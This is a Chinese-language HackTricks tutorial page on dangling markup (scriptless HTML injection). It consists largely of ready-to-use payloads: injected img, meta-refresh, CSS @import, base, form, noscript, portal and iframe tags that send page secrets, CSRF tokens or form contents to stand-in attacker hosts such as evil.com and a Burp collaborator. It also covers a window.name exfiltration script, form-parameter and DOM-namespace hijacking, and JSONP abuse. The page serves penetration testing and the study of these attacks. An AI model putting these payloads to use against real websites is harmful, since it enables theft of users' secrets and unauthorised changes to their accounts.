.. | ||
README.md | ||
ss-leaks.md |
Dangling Markup - HTML scriptless injection
从零到英雄学习AWS黑客技术 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组或telegram群组或在Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
概述
当发现HTML注入时,可以使用这种技术从用户那里提取信息。如果您找不到任何方法来利用 XSS,但您可以注入一些HTML标签,这非常有用。
如果某些秘密以明文保存在HTML中,并且您想要从客户端泄露它,或者您想误导某些脚本执行,这也很有用。
这里评论的几种技术可以用来绕过一些内容安全策略,通过意想不到的方式(html标签、CSS、http-meta标签、表单、base等)泄露信息。
主要应用
窃取明文秘密
如果您注入<img src='http://evil.com/log.cgi?
,当页面加载时,受害者会将注入的img
标签和代码中下一个引号之间的所有代码发送给您。如果秘密以某种方式位于那个代码块中,您将窃取它(您可以使用双引号做同样的事情,请查看哪个可能更有趣)。
如果img
标签被禁止(例如由于CSP),您也可以使用<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
请注意,Chrome 会阻止包含“<”或“\n”的 HTTP URL,因此您可以尝试使用其他协议方案,如 "ftp"。
您还可以滥用 CSS @import
(它会发送所有代码,直到找到一个 ";")
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
你也可以使用 <table
:
<table background='//your-collaborator-id.burpcollaborator.net?'
你也可以插入一个 <base
标签。所有信息将被发送,直到引号关闭,但这需要一些用户交互(用户必须点击某个链接,因为 base 标签会改变链接指向的域名):
<base target=' <--- Injected
steal me'<b>test</b>
窃取表单
<base href='http://evil.com/'>
然后,向路径发送数据的表单(如 `<form action='update_profile.php'>`)将数据发送到恶意域名。
### 窃取表单 2
设置一个表单头部:`<form action='http://evil.com/log_steal'>` 这将覆盖下一个表单头部,所有来自表单的数据都将发送给攻击者。
### 窃取表单 3
按钮可以通过 "formaction" 属性更改表单信息将要发送到的 URL:
<button name=xss type=submit formaction='https://google.com'>I get consumed!
攻击者可以利用这个来窃取信息。
窃取明文秘密 2
使用前面提到的技术来窃取表单(注入一个新的表单头),你可以接着注入一个新的输入字段:
<input type='hidden' name='review_body' value="
此输入字段将包含 HTML 中其双引号之间的所有内容,直到下一个双引号为止。此攻击将“_**窃取明文秘密**_”与“_**窃取表单2**_”相结合。
您可以通过注入一个表单和一个 `<option>` 标签做同样的事情。所有直到找到闭合的 `</option>` 之前的数据都将被发送:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
表单参数注入
您可以更改表单的路径并插入新值,以便执行意外的操作:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
通过 noscript 窃取明文秘密
<noscript></noscript>
是一个标签,如果浏览器不支持 javascript,其内容将被解释(您可以在 Chrome 中启用/禁用 Javascript,地址为 chrome://settings/content/javascript)。
一种将网页内容从注入点到底部泄露到攻击者控制的站点的方法是注入以下内容:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
绕过CSP需要用户交互
从这篇portswiggers研究中,你可以了解到即使在最受CSP限制的环境中,通过一些用户交互,你仍然可以泄露数据。这次我们将使用以下payload:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
请注意,您将要求受害者点击一个链接,该链接将把他重定向到由您控制的有效载荷。还要注意,base
标签内的target
属性将包含HTML内容,直到下一个单引号。
这将导致如果点击了链接,window.name
的值将是所有那些HTML内容。因此,由于您控制了受害者通过点击链接访问的页面,您可以访问那个**window.name
并泄露**那些数据:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
误导脚本工作流程1 - HTML命名空间攻击
在HTML中插入一个带有id的新标签,该标签将覆盖下一个标签,并且具有将影响脚本流程的值。在此示例中,您正在选择将信息共享给谁:
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
误导脚本工作流程 2 - 脚本命名空间攻击
通过插入HTML标签在javascript命名空间内创建变量。然后,这个变量将影响应用程序的流程:
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
滥用 JSONP
如果您发现一个 JSONP 接口,您可能能够用任意数据调用任意函数:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
或者您甚至可以尝试执行一些javascript:
<script src='/search?q=a&call=alert(1)'></script>
Iframe 滥用
请注意,子文档即使是跨域的,也可以查看和设置父文档的 location 属性。 这意味着您可以通过在 iframe 中加载一些代码,使客户端访问任何其他页面,例如:
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
这可以通过以下方式缓解:sandbox='allow-scripts allow-top-navigation'
iframe 也可以被滥用来从不同页面使用 iframe 的 name 属性泄露敏感信息。这是因为你可以创建一个 iframe,它通过滥用 HTML 注入,使得敏感信息显示在 iframe 的 name 属性内,然后从初始 iframe 访问该名称并泄露它。
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
有关更多信息,请查看 https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta 滥用
您可以使用 meta http-equiv
执行几个操作,例如设置 Cookie:<meta http-equiv="Set-Cookie" Content="SESSID=1">
或执行重定向(在此例中为 5 秒):<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
可以通过关于 http-equiv 的 CSP 来避免这种情况(Content-Security-Policy: default-src 'self';
或 Content-Security-Policy: http-equiv 'self';
)
新的 <portal HTML 标签
您可以在此处找到关于 <portal 标签可利用漏洞的非常有趣的研究。
在撰写本文时,您需要在 chrome://flags/#enable-portals
中启用 Chrome 的 portal 标签,否则它将不起作用。
<portal src='https://attacker-server?
HTML 泄露
并非所有在 HTML 中泄露连接性的方法都适用于 Dangling Markup,但有时它们可能有所帮助。在这里查看:https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
这是 dangling markup 和 XS-Leaks 之间的混合。一方面,漏洞允许在与我们将要攻击的页面同源的页面中注入 HTML(但不是 JS)。另一方面,我们不会直接攻击我们可以注入 HTML 的页面,而是另一个页面。
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Search/XS-Leaks
XS-Search 旨在通过滥用侧信道攻击来泄露跨源信息。因此,它是一种与 Dangling Markup 不同的技术,然而,一些技术滥用了包括 HTML 标签的引入(有或没有 JS 执行),如 CSS 注入 或 懒加载图片。
{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}
暴力破解检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
参考资料
这里展示的所有技术和更多可以在以下链接中查看更多细节:
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
可以在这里找到其他可以滥用的 HTML 标签:
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
更多信息:
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
通过 htARTE (HackTricks AWS Red Team Expert) 从零开始学习 AWS 黑客攻击!
支持 HackTricks 的其他方式:
- 如果您希望在 HackTricks 中看到您的公司广告或下载 HackTricks 的 PDF,请查看订阅计划!
- 获取 官方 PEASS & HackTricks 商品
- 发现 PEASS 家族,我们独家的 NFTs 收藏
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。